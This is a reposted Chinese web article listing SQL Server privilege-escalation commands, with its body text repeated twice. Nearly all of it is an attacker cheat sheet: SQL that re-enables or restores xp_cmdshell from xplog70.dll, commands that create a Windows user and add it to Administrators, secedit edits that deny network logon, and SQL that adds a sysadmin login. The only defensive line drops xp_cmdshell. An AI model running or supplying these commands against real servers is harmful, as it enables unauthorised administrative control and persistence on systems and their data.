Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 冲浪宝典 > 网络资源 > SQLServer提升权限相关命令
【标  题】:SQLServer提升权限相关命令
【关键字】:SQLServer
【来  源】:http://blog.chinaunix.net/article.php?articleId=31274&blogId=7486

SQLServer提升权限相关命令

Your Ad Here 互联网上对SQL Server各种各样的语句都做了很多的总结,在此为大家在补充一些提升权限相关命令及防范……     程序代码开启cmdshell的SQL语句     EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'     判断存储扩展是否存在   select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'   返回结果为1就OK  

互联网上对SQL Server各种各样的语句都做了很多的总结,在此为大家在补充一些提升权限相关命令及防范……     程序代码开启cmdshell的SQL语句     EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'     判断存储扩展是否存在   select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'   返回结果为1就OK     恢复xp_cmdshell   Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'   返回结果为1就OK     否则上传xplog7.0.dll   Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'     堵上cmdshell的SQL语句   sp_dropextendedproc "xp_cmdshell"     DOS:   dir c:/   dir d:/   dir e:/     net user TsInternetUsers Password /add   net localGroup Administrators TsInternetUsers /add     备份恢复IPSEC    secedit /export /CFG c:/tmp.inf   echo sedenynetworklogonright =>>c:/tmp.inf   secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf    SQL:   exec master..sp_addlogin UserName,Password   exec master..sp_addsrvrolemember UserName,sysadmin

数据库设计方法、规范与技巧:【上一篇】
SQL Server 2005嵌入BI分析工具:【下一篇】
【相关文章】
  • 把表的所有字段名输出到一个字段中[sqlserver]
  • sqlserver中的union,cube,rollup,cumpute运算符
  • 一个游标的sqlserver存储过程[zz]
  • UDF—SQL Server 2000的新特性 [SQLServer]
  • 在SQL Server中保存和输出图片 [SQLServer]
  • linux下用php连接sqlserver解决办法
  • freebsd下PHP连接Microsoft SQLServer的办法
  • sqlserver提示“在流水模式下,事务无法启动”的解决办法
  • sqlserver根据IP获取地址的自定义函数
  • sqlserver过滤字符串中的空格的自定义函数
  • 【随机文章】
  • 新奇!
  • JAR文件包及jar命令详解
  • 网友对Vista七种破解方法的深度总结
  • BMP文件格式(英文原文一)
  • 使用准则进行条件查询--1.5.常用的准则表达式
  • 让你的ADSL真正“飞”起来
  • 对女性的审美顺序
  • SPF 简介
  • 各型号catalyst交换机密码恢复具体步骤.
  • 教你如何修改文件日期
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.